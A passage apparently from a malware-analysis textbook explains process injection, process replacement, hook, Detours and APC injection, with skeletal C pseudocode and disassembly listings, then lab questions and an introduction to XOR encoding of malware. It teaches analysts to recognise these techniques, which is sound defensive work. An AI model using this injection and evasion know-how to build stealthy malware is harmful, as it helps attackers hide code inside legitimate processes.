cess injection in an attempt to conceal the malicious behavior of their code,
and sometimes they use this to try to bypass host-based firewalls and other
process-specific security mechanisms.
Certain Windows API calls are commonly used for process injection.
For example, the VirtualAllocEx function can be used to allocate space in an
external process’s memory, and WriteProcessMemory can be used to write data
to that allocated space. This pair of functions is essential to the first three
loading techniques that we’ll discuss in this chapter.
DLL Injection
DLL injection—a form of process injection where a remote process is forced
to load a malicious DLL—is the most commonly used covert loading tech-
nique. DLL injection works by injecting code into a remote process that calls
LoadLibrary, thereby forcing a DLL to be loaded in the context of that pro-
cess. Once the compromised process loads the malicious DLL, the OS auto-
matically calls the DLL’s DllMain function, which is defined by the author of
the DLL. This function contains the malicious code and has as much access
to the system as the process in which it is running. Malicious DLLs often have
little content other than the Dllmain function, and everything they do will
appear to originate from the compromised process.
Figure 12-1 shows an example of DLL injection. In this example, the
launcher malware injects its DLL into Internet Explorer’s memory, thereby
giving the injected DLL the same access to the Internet as Internet Explorer.
The loader malware had been unable to access the Internet prior to injection
because a process-specific firewall detected it and blocked it.
Covert Malware Launching
255
Figure 12-1: DLL injection—the launcher malware cannot access the Internet until it
injects into iexplore.exe.
In order to inject the malicious DLL into a host program, the launcher
malware must first obtain a handle to the victim process. The most common
way is to use the Windows API calls CreateToolhelp32Snapshot, Process32First,
and Process32Next to search the process list for the injection target. Once the
target is found, the launcher retrieves the process identifier (PID) of the tar-
get process and then uses it to obtain the handle via a call to OpenProcess.
The function CreateRemoteThread is commonly used for DLL injection to
allow the launcher malware to create and execute a new thread in a remote
process. When CreateRemoteThread is used, it is passed three important param-
eters: the process handle (hProcess) obtained with OpenProcess, along with the
starting point of the injected thread (lpStartAddress) and an argument for
that thread (lpParameter). For example, the starting point might be set to
LoadLibrary and the malicious DLL name passed as the argument. This will
trigger LoadLibrary to be run in the victim process with a parameter of the
malicious DLL, thereby causing that DLL to be loaded in the victim process
(assuming that LoadLibrary is available in the victim process’s memory space
and that the malicious library name string exists within that same space).
Malware authors generally use VirtualAllocEx to create space for the mali-
cious library name string. The VirtualAllocEx function allocates space in a
remote process if a handle to that process is provided.
The last setup function required before CreateRemoteThread can be called
is WriteProcessMemory. This function writes the malicious library name string
into the memory space that was allocated with VirtualAllocEx.
Listing 12-1 contains C pseudocode for performing DLL injection.
hVictimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, victimProcessID );
pNameInVictimProcess = VirtualAllocEx(hVictimProcess,...,sizeof(maliciousLibraryName),...,...);
WriteProcessMemory(hVictimProcess,...,maliciousLibraryName, sizeof(maliciousLibraryName),...);
GetModuleHandle("Kernel32.dll");
GetProcAddress(...,"LoadLibraryA");
CreateRemoteThread(hVictimProcess,...,...,LoadLibraryAddress,pNameInVictimProcess,...,...);
Listing 12-1: C Pseudocode for DLL injection
Hard Drive
Launcher
Malware
Malicious DLL
iexplore.exe
Memory
Launcher
Malware
Injection
iexplore.exe
Malicious DLL
Internet
Blocked
256
Chapter 12
This listing assumes that we obtain the victim PID in victimProcessID
when it is passed to OpenProcess at in order to get the handle to the victim
process. Using the handle, VirtualAllocEx and WriteProcessMemory then allocate
space and write the name of the malicious DLL into the victim process. Next,
GetProcAddress is used to get the address to LoadLibrary.
Finally, at , CreateRemoteThread is passed the three important parameters
discussed earlier: the handle to the victim process, the address of LoadLibrary,
and a pointer to the malicious DLL name in the victim process. The easiest
way to identify DLL injection is by identifying this trademark pattern of Win-
dows API calls when looking at the launcher malware’s disassembly.
In DLL injection, the malware launcher never calls a malicious function.
As stated earlier, the malicious code is located in DllMain, which is automati-
cally called by the OS when the DLL is loaded into memory. The DLL injec-
tion launcher’s goal is to call CreateRemoteThread in order to create the remote
thread LoadLibrary, with the parameter of the malicious DLL being injected.
Figure 12-2 shows DLL injection code as seen through a debugger. The
six function calls from our pseudocode in Listing 12-1 can be seen in the dis-
assembly, labeled through .
Figure 12-2: DLL injection debugger view
Once you find DLL injection activity in disassembly, you should start
looking for the strings containing the names of the malicious DLL and the
victim process. In the case of Figure 12-2, we don’t see those strings, but they
must be accessed before this code executes. The victim process name can
often be found in a strncmp function (or equivalent) when the launcher
Covert Malware Launching
257
determines the victim process’s PID. To find the malicious DLL name, we
could set a breakpoint at 0x407735 and dump the contents of the stack to
reveal the value of Buffer as it is being passed to WriteProcessMemory.
Once you’re able to recognize the DLL injection code pattern and iden-
tify these important strings, you should be able to quickly analyze an entire
group of malware launchers.
Direct Injection
Like DLL injection, direct injection involves allocating and inserting code
into the memory space of a remote process. Direct injection uses many of
the same Windows API calls as DLL injection. The difference is that instead
of writing a separate DLL and forcing the remote process to load it, direct-
injection malware injects the malicious code directly into the remote process.
Direct injection is more flexible than DLL injection, but it requires a lot
of customized code in order to run successfully without negatively impacting
the host process. This technique can be used to inject compiled code, but
more often, it’s used to inject shellcode.
Three functions are commonly found in cases of direct injection:
VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. There will typi-
cally be two calls to VirtualAllocEx and WriteProcessMemory. The first will allo-
cate and write the data used by the remote thread, and the second will
allocate and write the remote thread code. The call to CreateRemoteThread
will contain the location of the remote thread code (lpStartAddress) and
the data (lpParameter).
Since the data and functions used by the remote thread must exist in the
victim process, normal compilation procedures will not work. For example,
strings are not in the normal .data section, and LoadLibrary/GetProcAddress
will need to be called to access functions that are not already loaded. There
are other restrictions, which we won’t go into here. Basically, direct injection
requires that authors either be skilled assembly language coders or that they
will inject only relatively simple shellcode.
In order to analyze the remote thread’s code, you may need to debug
the malware and dump all memory buffers that occur before calls to
WriteProcessMemory to be analyzed in a disassembler. Since these buffers
most often contain shellcode, you will need shellcode analysis skills, which
we discuss extensively in Chapter 19.
Process Replacement
Rather than inject code into a host program, some malware uses a method
known as process replacement to overwrite the memory space of a running pro-
cess with a malicious executable. Process replacement is used when a mal-
ware author wants to disguise malware as a legitimate process, without the
risk of crashing a process through the use of process injection.
This technique provides the malware with the same privileges as the
process it is replacing. For example, if a piece of malware were to perform
a process-replacement attack on svchost.exe, the user would see a process
258
Chapter 12
name svchost.exe running from C:\Windows\System32 and probably think noth-
ing of it. (This is a common malware attack, by the way.)
Key to process replacement is creating a process in a suspended state. This
means that the process will be loaded into memory, but the primary thread
of the process is suspended. The program will not do anything until an exter-
nal program resumes the primary thread, causing the program to start run-
ning. Listing 12-2 shows how a malware author achieves this suspended state
by passing CREATE_SUSPENDED (0x4) as the dwCreationFlags parameter when per-
forming the call to CreateProcess.
00401535 push edi ; lpProcessInformation
00401536 push ecx ; lpStartupInfo
00401537 push ebx ; lpCurrentDirectory
00401538 push ebx ; lpEnvironment
00401539 push CREATE_SUSPENDED ; dwCreationFlags
0040153B push ebx ; bInheritHandles
0040153C push ebx ; lpThreadAttributes
0040153D lea edx, [esp+94h+CommandLine]
00401541 push ebx ; lpProcessAttributes
00401542 push edx ; lpCommandLine
00401543 push ebx ; lpApplicationName
00401544 mov [esp+0A0h+StartupInfo.dwFlags], 101h
0040154F mov [esp+0A0h+StartupInfo.wShowWindow], bx
00401557 call ds:CreateProcessA
Listing 12-2: Assembly code showing process replacement
Although poorly documented by Microsoft, this method of process cre-
ation can be used to load a process into memory and suspend it at the entry
point.
Listing 12-3 shows C pseudocode for performing process replacement.
CreateProcess(...,"svchost.exe",...,CREATE_SUSPEND,...);
ZwUnmapViewOfSection(...);
VirtualAllocEx(...,ImageBase,SizeOfImage,...);
WriteProcessMemory(...,headers,...);
for (i=0; i < NumberOfSections; i++) {
WriteProcessMemory(...,section,...);
}
SetThreadContext();
...
ResumeThread();
Listing 12-3: C pseudocode for process replacement
Once the process is created, the next step is to replace the victim process’s
memory with the malicious executable, typically using ZwUnmapViewOfSection
to release all memory pointed to by a section passed as a parameter. After
the memory is unmapped, the loader performs VirtualAllocEx to allocate
Covert Malware Launching
259
new memory for the malware, and uses WriteProcessMemory to write each of
the malware sections to the victim process space, typically in a loop, as
shown at .
In the final step, the malware restores the victim process environment so
that the malicious code can run by calling SetThreadContext to set the entry
point to point to the malicious code. Finally, ResumeThread is called to initiate
the malware, which has now replaced the victim process.
Process replacement is an effective way for malware to appear non-
malicious. By masquerading as the victim process, the malware is able to bypass
firewalls or intrusion prevention systems (IPSs) and avoid detection by appear-
ing to be a normal Windows process. Also, by using the original binary’s path,
the malware deceives the savvy user who, when viewing a process listing, sees
only the known and valid binary executing, with no idea that it was unmapped.
Hook Injection
Hook injection describes a way to load malware that takes advantage of Win-
dows hooks, which are used to intercept messages destined for applications.
Malware authors can use hook injection to accomplish two things:
To be sure that malicious code will run whenever a particular message is
intercepted
To be sure that a particular DLL will be loaded in a victim process’s
memory space
As shown in Figure 12-3, users generate events that are sent to the OS,
which then sends messages created by those events to threads registered to
receive them. The right side of the figure shows one way that an attacker can
insert a malicious DLL to intercept messages.
Figure 12-3: Event and message flow in Windows
with and without hook injection
USER
USER
Events
Events
Windows OS
Windows OS
Messages
Messages
Threads
Process/
Application
Process/
Application
Threads
Malicious DLL
260
Chapter 12
Local and Remote Hooks
There are two types of Windows hooks:
Local hooks are used to observe or manipulate messages destined for an
internal process.
Remote hooks are used to observe or manipulate messages destined for a
remote process (another process on the system).
Remote hooks are available in two forms: high and low level. High-level
remote hooks require that the hook procedure be an exported function con-
tained in a DLL, which will be mapped by the OS into the process space of a
hooked thread or all threads. Low-level remote hooks require that the hook
procedure be contained in the process that installed the hook. This proce-
dure is notified before the OS gets a chance to process the event.
Keyloggers Using Hooks
Hook injection is frequently used in malicious applications known as
keyloggers, which record keystrokes. Keystrokes can be captured by register-
ing high- or low-level hooks using the WH_KEYBOARD or WH_KEYBOARD_LL hook
procedure types, respectively.
For WH_KEYBOARD procedures, the hook will often be running in the con-
text of a remote process, but it can also run in the process that installed the
hook. For WH_KEYBOARD_LL procedures, the events are sent directly to the pro-
cess that installed the hook, so the hook will be running in the context of the
process that created it. Using either hook type, a keylogger can intercept key-
strokes and log them to a file or alter them before passing them along to the
process or system.
Using SetWindowsHookEx
The principal function call used to perform remote Windows hooking is
SetWindowsHookEx, which has the following parameters:
idHook
Specifies the type of hook procedure to install.
lpfn
Points to the hook procedure.
hMod
For high-level hooks, identifies the handle to the DLL containing
the hook procedure defined by lpfn. For low-level hooks, this identifies the
local module in which the lpfn procedure is defined.
dwThreadId
Specifies the identifier of the thread with which the hook
procedure is to be associated. If this parameter is zero, the hook proce-
dure is associated with all existing threads running in the same desktop
as the calling thread. This must be set to zero for low-level hooks.
The hook procedure can contain code to process messages as they come
in from the system, or it can do nothing. Either way, the hook procedure
must call CallNextHookEx, which ensures that the next hook procedure in the
call chain gets the message and that the system continues to run properly.
Covert Malware Launching
261
Thread Targeting
When targeting a specific dwThreadId, malware generally includes instructions
for determining which system thread identifier to use, or it is designed to
load into all threads. That said, malware will load into all threads only if it’s a
keylogger or the equivalent (when the goal is message interception). How-
ever, loading into all threads can degrade the running system and may trig-
ger an IPS. Therefore, if the goal is to simply load a DLL in a remote process,
only a single thread will be injected in order to remain stealthy.
Targeting a single thread requires a search of the process listing for the
target process and can require that the malware run a program if the target
process is not already running. If a malicious application hooks a Windows
message that is used frequently, it’s more likely to trigger an IPS, so malware
will often set a hook with a message that is not often used, such as WH_CBT (a
computer-based training message).
Listing 12-4 shows the assembly code for performing hook injection in
order to load a DLL in a different process’s memory space.
00401100 push esi
00401101 push edi
00401102 push offset LibFileName ; "hook.dll"
00401107 call LoadLibraryA
0040110D mov esi, eax
0040110F push offset ProcName ; "MalwareProc"
00401114 push esi ; hModule
00401115 call GetProcAddress
0040111B mov edi, eax
0040111D call GetNotepadThreadId
00401122 push eax ; dwThreadId
00401123 push esi
; hmod
00401124 push edi ; lpfn
00401125 push WH_CBT ; idHook
00401127 call SetWindowsHookExA
Listing 12-4: Hook injection, assembly code
In Listing 12-4, the malicious DLL (hook.dll) is loaded by the malware,
and the malicious hook procedure address is obtained. The hook procedure,
MalwareProc, calls only CallNextHookEx. SetWindowsHookEx is then called for a thread
in notepad.exe (assuming that notepad.exe is running). GetNotepadThreadId is a
locally defined function that obtains a dwThreadId for notepad.exe. Finally, a
WH_CBT message is sent to the injected notepad.exe in order to force hook.dll to
be loaded by notepad.exe. This allows hook.dll to run in the notepad.exe process
space.
Once hook.dll is injected, it can execute the full malicious code stored in
DllMain, while disguised as the notepad.exe process. Since MalwareProc calls only
CallNextHookEx, it should not interfere with incoming messages, but malware
often immediately calls LoadLibrary and UnhookWindowsHookEx in DllMain to ensure
that incoming messages are not impacted.
262
Chapter 12
Detours
Detours is a library developed by Microsoft Research in 1999. It was originally
intended as a way to easily instrument and extend existing OS and applica-
tion functionality. The Detours library makes it possible for a developer to
make application modifications simply.
Malware authors like Detours, too, and they use the Detours library to
perform import table modification, attach DLLs to existing program files,
and add function hooks to running processes.
Malware authors most commonly use Detours to add new DLLs to exist-
ing binaries on disk. The malware modifies the PE structure and creates a
section named .detour, which is typically placed between the export table and
any debug symbols. The .detour section contains the original PE header with
a new import address table. The malware author then uses Detours to modify
the PE header to point to the new import table, by using the setdll tool pro-
vided with the Detours library.
Figure 12-4 shows a PEview of Detours being used to trojanize notepad.exe.
Notice in the .detour section at that the new import table contains evil.dll,
seen at . Evil.dll will now be loaded whenever Notepad is launched. Note-
pad will continue to operate as usual, and most users would have no idea that
the malicious DLL was executed.
Figure 12-4: A PEview of Detours and the evil.dll
Instead of using the official Microsoft Detours library, malware authors
have been known to use alternative and custom methods to add a .detour
section. The use of these methods for detour addition should not impact
your ability to analyze the malware.
APC Injection
Earlier in this chapter, you saw that by creating a thread using CreateRemoteThread,
you can invoke functionality in a remote process. However, thread creation
requires overhead, so it would be more efficient to invoke a function on
Covert Malware Launching
263
an existing thread. This capability exists in Windows as the asynchronous
procedure call (APC).
APCs can direct a thread to execute some other code prior to executing
its regular execution path. Every thread has a queue of APCs attached to it,
and these are processed when the thread is in an alertable state, such as
when they call functions like WaitForSingleObjectEx, WaitForMultipleObjectsEx,
and Sleep. These functions essentially give the thread a chance to process the
waiting APCs.
If an application queues an APC while the thread is alertable but before
the thread begins running, the thread begins by calling the APC function.
A thread calls the APC functions one by one for all APCs in its APC queue.
When the APC queue is complete, the thread continues running along its
regular execution path. Malware authors use APCs to preempt threads in an
alertable state in order to get immediate execution for their code.
APCs come in two forms:
An APC generated for the system or a driver is called a kernel-mode APC.
An APC generated for an application is called a user-mode APC.
Malware generates user-mode APCs from both kernel and user space
using APC injection. Let’s take a closer look at each of these methods.
APC Injection from User Space
From user space, another thread can queue a function to be invoked in a
remote thread, using the API function QueueUserAPC. Because a thread must
be in an alertable state in order to run a user-mode APC, malware will look to
target threads in processes that are likely to go into that state. Luckily for the
malware analyst, WaitForSingleObjectEx is the most common call in the Win-
dows API, and there are usually many threads in the alertable state.
Let’s examine the QueueUserAPC’s parameters: pfnAPC, hThread, and dwData. A
call to QueueUserAPC is a request for the thread whose handle is hThread to run
the function defined by pfnAPC with the parameter dwData. Listing 12-5 shows
how malware can use QueueUserAPC to force a DLL to be loaded in the context
of another process, although before we arrive at this code, the malware has
already picked a target thread.
NOTE
During analysis, you can find thread-targeting code by looking for API calls such as
CreateToolhelp32Snapshot, Process32First, and Process32Next for the malware to
find the target process. These API calls will often be followed by calls to Thread32First
and Thread32Next, which will be in a loop looking to target a thread contained in the
target process. Alternatively, malware can also use Nt/ZwQuerySystemInformation with
the SYSTEM_PROCESS_INFORMATION information class to find the target process.
00401DA9 push [esp+4+dwThreadId] ; dwThreadId
00401DAD push 0 ; bInheritHandle
00401DAF push 10h ; dwDesiredAccess
00401DB1 call ds:OpenThread
00401DB7 mov esi, eax
264
Chapter 12
00401DB9 test esi, esi
00401DBB jz short loc_401DCE
00401DBD push [esp+4+dwData] ; dwData = dbnet.dll
00401DC1 push esi ; hThread
00401DC2 push ds:LoadLibraryA ; pfnAPC
00401DC8 call ds:QueueUserAPC
Listing 12-5: APC injection from a user-mode application
Once a target-thread identifier is obtained, the malware uses it to open
a handle to the thread, as seen at . In this example, the malware is looking
to force the thread to load a DLL in the remote process, so you see a call to
QueueUserAPC with the pfnAPC set to LoadLibraryA at . The parameter to be sent
to LoadLibraryA will be contained in dwData (in this example, that was set to the
DLL dbnet.dll earlier in the code). Once this APC is queued and the thread
goes into an alertable state, LoadLibraryA will be called by the remote thread,
causing the target process to load dbnet.dll.
In this example, the malware targeted svchost.exe, which is a popular target
for APC injection because its threads are often in an alertable state. Malware
may APC-inject into every thread of svchost.exe just to ensure that execution
occurs quickly.
APC Injection from Kernel Space
Malware drivers and rootkits often wish to execute code in user space, but
there is no easy way for them to do it. One method they use is to perform
APC injection from kernel space to get their code execution in user space.
A malicious driver can build an APC and dispatch a thread to execute it in a
user-mode process (most often svchost.exe). APCs of this type often consist of
shellcode.
Device drivers leverage two major functions in order to utilize APCs:
KeInitializeApc and KeInsertQueueApc. Listing 12-6 shows an example of these
functions in use in a rootkit.
000119BD push ebx
000119BE push 1
000119C0 push [ebp+arg_4]
000119C3 push ebx
000119C4 push offset sub_11964
000119C9 push 2
000119CB push [ebp+arg_0]
000119CE push esi
000119CF call ds:KeInitializeApc
000119D5 cmp edi, ebx
000119D7 jz short loc_119EA
000119D9 push ebx
000119DA push [ebp+arg_C]
000119DD push [ebp+arg_8]
000119E0 push esi
000119E1 call edi ;KeInsertQueueApc
Listing 12-6: User-mode APC injection from kernel space
Covert Malware Launching
265
The APC first must be initialized with a call to KeInitializeApc. If the
sixth parameter (NormalRoutine) is non-zero in combination with the sev-
enth parameter (ApcMode) being set to 1, then we are looking at a user-
mode type. Therefore, focusing on these two parameters can tell you if the
rootkit is using APC injection to run code in user space.
KeInitializeAPC initializes a KAPC structure, which must be passed to
KeInsertQueueApc to place the APC object in the target thread’s corresponding
APC queue. In Listing 12-6, ESI will contain the KAPC structure. Once
KeInsertQueueApc is successful, the APC will be queued to run.
In this example, the malware targeted svchost.exe, but to make that deter-
mination, we would need to trace back the second-to-last parameter pushed
on the stack to KeInitializeApc. This parameter contains the thread that will
be injected. In this case, it is contained in arg_0, as seen at . Therefore, we
would need to look back in the code to check how arg_0 was set in order to
see that svchost.exe’s threads were targeted.
Conclusion
In this chapter, we’ve explored the common covert methods through which
malware launches, ranging from the simple to advanced. Many of the tech-
niques involve manipulating live memory on the system, as with DLL injec-
tion, process replacement, and hook injection. Other techniques involve
modifying binaries on disk, as in the case of adding a .detour section to a
PE file. Although these techniques are all very different, they achieve the
same goal.
A malware analyst must be able to recognize launching techniques in
order to know how to find malware on a live system. Recognizing and ana-
lyzing launching techniques is really only part of the full analysis, since all
launchers do only one thing: they get the malware running.
In the next two chapters, you will learn how malware encodes its data
and communicates over the network.
266
Chapter 12
L A B S
Lab 12-1
Analyze the malware found in the file Lab12-01.exe and Lab12-01.dll. Make
sure that these files are in the same directory when performing the analysis.
Questions
1.
What happens when you run the malware executable?
2.
What process is being injected?
3.
How can you make the malware stop the pop-ups?
4.
How does this malware operate?
Lab 12-2
Analyze the malware found in the file Lab12-02.exe.
Questions
1.
What is the purpose of this program?
2.
How does the launcher program hide execution?
3.
Where is the malicious payload stored?
4.
How is the malicious payload protected?
5.
How are strings protected?
Lab 12-3
Analyze the malware extracted during the analysis of Lab 12-2, or use the file
Lab12-03.exe.
Questions
1.
What is the purpose of this malicious payload?
2.
How does the malicious payload inject itself?
3.
What filesystem residue does this program create?
Lab 12-4
Analyze the malware found in the file Lab12-04.exe.
Covert Malware Launching
267
Questions
1.
What does the code at 0x401000 accomplish?
2.
Which process has code injected?
3.
What DLL is loaded using LoadLibraryA?
4.
What is the fourth argument passed to the CreateRemoteThread call?
5.
What malware is dropped by the main executable?
6.
What is the purpose of this and the dropped malware?
D A T A E N C O D I N G
In the context of malware analysis, the term data
encoding refers to all forms of content modification
for the purpose of hiding intent. Malware uses encod-
ing techniques to mask its malicious activities, and as
a malware analyst, you’ll need to understand these
techniques in order to fully understand the malware.
When using data encoding, attackers will choose the method that best
meets their goals. Sometimes, they will choose simple ciphers or basic encod-
ing functions that are easy to code and provide enough protection; other
times, they will use sophisticated cryptographic ciphers or custom encryption
to make identification and reverse-engineering more difficult.
We begin this chapter by focusing on finding and identifying encoding
functions. Then we will cover strategies for decoding.
270
Chapter 13
The Goal of Analyzing Encoding Algorithms
Malware uses encoding for a variety of purposes. The most common use is
for the encryption of network-based communication. Malware will also use
encoding to disguise its internal workings. For example, a malware author
might use a layer of encoding for these purposes:
To hide configuration information, such as a command-and-control
domain
To save information to a staging file before stealing it
To store strings used by the malware and decode them just before they
are needed
To disguise the malware as a legitimate tool, hiding the strings used for
malicious activities
Our goal when analyzing encoding algorithms will always consist of two
parts: identifying the encoding functions and then using that knowledge to
decode the attacker’s secrets.
Simple Ciphers
Simple encoding techniques have existed for thousands of years. While you
might assume that the massive computing capacity of modern computers has
made simple ciphers extinct, this is not the case. Simple encoding techniques
are often used to disguise content so that it is not apparent that it is human-
readable or to transform data into a different character set.
Simple ciphers are often disparaged for being unsophisticated, but they
offer many advantages for malware, including the following:
They are small enough to be used in space-constrained environments
such as exploit shellcode.
They are less obvious than more complex ciphers.
They have low overhead and thus little impact on performance.
Malware authors who use a simple cipher don’t expect to be immune to
detection; they’re simply looking for an easy way to prevent basic analysis
from identifying their activities.
Caesar Cipher
One of the first ciphers ever used was the Caesar cipher. The Caesar cipher
was used during the Roman Empire to hide messages transported through
battlefields by courier. It is a simple cipher formed by shifting the letters of
the alphabet three characters to the right. For example, the following text
shows a secret wartime message encrypted with the Caesar cipher:
ATTACK AT NOON
DWWDFN DW QRRQ
Data Encoding
271
XOR
The XOR cipher is a simple cipher that is similar to the Caesar cipher.
XOR means exclusive OR and is a logical operation that can be used to
modify bits.
An XOR cipher uses a static byte value and modifies each byte of plain-
text by performing a logical XOR operation with that value. For example,
Figure 13-1 shows how the message ATTACK AT NOON would be encoded using an
XOR with the byte 0x3C. Each character is represented by a cell, with the
ASCII character (or control code) at the top, and the hex value of the char-
acter on the bottom.
Figure 13-1: The string ATTACK AT NOON encoded with an XOR of 0x3C (original string
at the top; encoded strings at the bottom)
As you can see in this example, the XOR cipher often results in bytes that
are not limited to printable characters (indicated here using shaded cells).
The C in ATTACK is translated to hex 0x7F, which is typically used to indicate
the delete character. In the same vein, the space character is translated to
hex 0x1C, which is typically used as a file separator.
The XOR cipher is convenient to use because it is both simple—requiring
only a single machine-code instruction—and reversible.
A reversible cipher uses the same function to encode and decode. In
order to decode something encoded with the XOR cipher, you simply repeat
the XOR function with the same key used during encoding.
The implementation of XOR encoding we have been discussing—
where the key is the same for every encoded byte—is known as single-byte XOR
encoding.
Brute-Forcing XOR Encoding
Imagine we are investigating a malware incident. We learn that seconds before
the malware starts, two files are created in the browser’s cache directory. One
of these files is an SWF file, which we assume is used to exploit the browser’s
Flash plug-in. The other file is named a.gif, but it doesn’t appear to have a
GIF header, which would start with the characters GIF87a or GIF89a. Instead,
the a.gif file begins with the bytes shown in Listing 13-1.
A
T
T
A
C
K
A
T
N
O
O
N
0x41
0x54
0x54
0x41
0x41
0x54
0x43
0x4E
0x4F
0x4F
0x4E
0x4B
}
h
h
}
DEL
W
FS
0x20
0x20
}
H
FS
r
s
s
r
0x7d
0x68
0x68
0x7d
0x7F
0x77
0x1C
0x7d
0x68
0x1C
0x72
0x72
0x71
0x71
272
Chapter 13
5F 48 42 12 10 12 12 12 16 12 1D 12 ED ED 12 12 _HB.............
AA 12 12 12 12 12 12 12 52 12 08 12 12 12 12 12 ........R.......
12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 ................
12 12 12 12 12 12 12 12 12 12 12 12 12 13 12 12 ................
A8 02 12 1C 0D A6 1B DF 33 AA 13 5E DF 33 82 82 ........3..^.3..
46 7A 7B 61 32 62 60 7D 75 60 73 7F 32 7F 67 61 Fz{a2b`}u`s.2.ga
Listing 13-1: First bytes of XOR-encoded file a.gif
We suspect that this file may be an XOR-encoded executable, but how
do we find out? One strategy that works with single-byte encoding is brute
force.
Since there are only 256 possible values for each character in the file, it
is easy and quick enough for a computer to try all of the possible 255 single-
byte keys XORed with the file header, and compare the output with the
header you would expect for an executable file. The XOR encoding using
each of 255 keys could be performed by a script, and Table 13-1 shows what
the output of such a script might reveal.
Table 13-1 shows the first few bytes of the a.gif file encoded with differ-
ent XOR keys. The goal of brute-forcing here is to try several different values
for the XOR key until you see output that you recognize—in this case, an MZ
header. The first column lists the value being used as the XOR key, the sec-
ond column shows the initial bytes of content as they are transformed, and
the last column shows whether the suspected content has been found.
Notice in the last row of this table that using an XOR with 0x12 we find
an MZ header. PE files begin with the letters MZ, and the hex characters for
M and Z are 4d and 5a, respectively, the first two hex characters in this partic-
ular string.
Next, we examine a larger portion of the header, and we can now see
other parts of the file, as shown in Listing 13-2.
Table 13-1: Brute-Force of XOR-Encoded Executable
XOR key value
Initial bytes of file
MZ header found?
Original
5F 48 42 12 10 12 12 12 16 12 1D 12 ED ED 12
No
XOR with 0x01
5e 49 43 13 11 13 13 13 17 13 1c 13 ec ec 13
No
XOR with 0x02
5d 4a 40 10 12 10 10 10 14 10 1f 10 ef ef 10
No
XOR with 0x03
5c 4b 41 11 13 11 11 11 15 11 1e 11 ee ee 11
No
XOR with 0x04
5b 4c 46 16 14 16 16 16 12 16 19 16 e9 e9 16
No
XOR with 0x05
5a 4d 47 17 15 17 17 17 13 17 18 17 e8 e8 17
No
...
...
No
XOR with 0x12
4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00
Yes!
Data Encoding
273
4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 MZP.............
B8 00 00 00 00 00 00 00 40 00 1A 00 00 00 00 00 ........@.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ................
BA 10 00 0E 1F B4 09 CD 21 B8 01 4C CD 21 90 90 ........!..L.!..
54 68 69 73 20 70 72 6F 67 72 61 6D 20 6D 75 73 This program mus
Listing 13-2: First bytes of the decrypted PE file
Here, we see the words This program mus. This is the start of the DOS stub,
a common element within an executable file, which provides additional evi-
dence that this is indeed a PE file.
Brute-Forcing Many Files
Brute-forcing can also be used proactively. For example, if you want to search
many files to check for XOR-encoded PE files, you could create 255 signa-
tures for all of the XOR combinations, focusing on elements of the file that
you think might be present.
For example, say we want to search for single-byte XOR encodings of the
string This program. It is common for a PE file header to contain a string such
as This program must be run under Win32, or This program cannot be run in DOS. By
generating all possible permutations of the original string with each possible
XOR value, we come up with the set of signatures to search for, as shown in
Table 13-2.
NULL-Preserving Single-Byte XOR Encoding
Look again at the encoded file shown in Listing 13-1. Notice how blatant the
XOR key of 0x12 is, even at just a glance. Most of the bytes in the initial part
of the header are 0x12! This demonstrates a particular weakness of single-
byte encoding: It lacks the ability to effectively hide from a user manually
scanning encoded content with a hex editor. If the encoded content has a
large number of NULL bytes, the single-byte “key” becomes obvious.
Table 13-2: Creating XOR Brute-Force Signatures
XOR key value
“This program”
Original
54 68 69 73 20 70 72 6f 67 72 61 6d 20
XOR with 0x01
55 69 68 72 21 71 73 6e 66 73 60 6c 21
XOR with 0x02
56 6a 6b 71 22 72 70 6d 65 70 63 6f 22
XOR with 0x03
57 6b 6a 70 23 73 71 6c 64 71 62 6e 23
XOR with 0x04
50 6c 6d 77 24 74 76 6b 63 76 65 69 24
XOR with 0x05
51 6d 6c 76 25 75 77 6a 62 77 64 68 25
...
...
XOR with 0xFF
ab 97 96 8c df 8f 8d 90 98 8d 9e 92 df
274
Chapter 13
Malware authors have actually developed a clever way to mitigate this
issue by using a NULL-preserving single-byte XOR encoding scheme. Unlike
the regular XOR encoding scheme, the NULL-preserving single-byte XOR
scheme has two exceptions:
If the plaintext character is NULL or the key itself, then the byte is
skipped.
If the plaintext character is neither NULL nor the key, then it is encoded
via an XOR with the key.
As shown in Table 13-3, the code for this modified XOR is not much
more complicated than the original.
In Table 13-3, the C code for the original XOR function is shown at left,
and the NULL-preserving XOR function is on the right. So if the key is 0x12,
then any 0x00 or 0x12 will not be transformed, but any other byte will be
transformed via an XOR with 0x12. When a PE file is encoded in this fashion,
the key with which it is encoded is much less visually apparent.
Now compare Listing 13-1 (with the obvious 0x12 key) with Listing 13-3.
Listing 13-3 represents the same encoded PE file, encoded again with 0x12,
but this time using the NULL-preserving single-byte XOR encoding. As you
can see, with the NULL-preserving encoding, it is more difficult to identify
the XOR encoding, and there is no evidence of the key.
5F 48 42 00 10 00 00 00 16 00 1D 00 ED ED 00 00 _HB.............
AA 00 00 00 00 00 00 00 52 00 08 00 00 00 00 00 ........R.......
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00 00 00 00 00 00 00 00 00 00 00 00 00 13 00 00 ................
A8 02 00 1C 0D A6 1B DF 33 AA 13 5E DF 33 82 82 ........3..^.3..
46 7A 7B 61 32 62 60 7D 75 60 73 7F 32 7F 67 61 Fz{a2b`}u`s.2.ga
Listing 13-3: First bytes of file with NULL-preserving XOR encoding
This NULL-preserving XOR technique is especially popular in shellcode,
where it is important to be able to perform encoding with a very small
amount of code.
Identifying XOR Loops in IDA Pro
Now imagine that you find the shellcode within the SWF file. You are dis-
assembling the shellcode in IDA Pro, and you want to find the XOR loop that
you suspect exists to decode the associated a.gif file.
Table 13-3: Original vs. NULL-Preserving XOR Encoding Code
Original XOR
NULL-preserving XOR
buf[i] ^= key;
if (buf[i] != 0 && buf[i] != key)
buf[i] ^= key;
Data Encoding
275
In disassembly, XOR loops can be identified by small loops with an XOR
instruction in the middle of a loop. The easiest way to find an XOR loop in
IDA Pro is to search for all instances of the XOR instruction, as follows:
1.
Make sure you are viewing code (the window title should contain
“IDA View”).
2.
Select SearchText.
3.
In the Text Search dialog, enter xor, select the Find all occurrences
checkbox, and then click OK. You should see a window like the one
shown in Figure 13-2.
Figure 13-2: Searching for XOR in IDA Pro
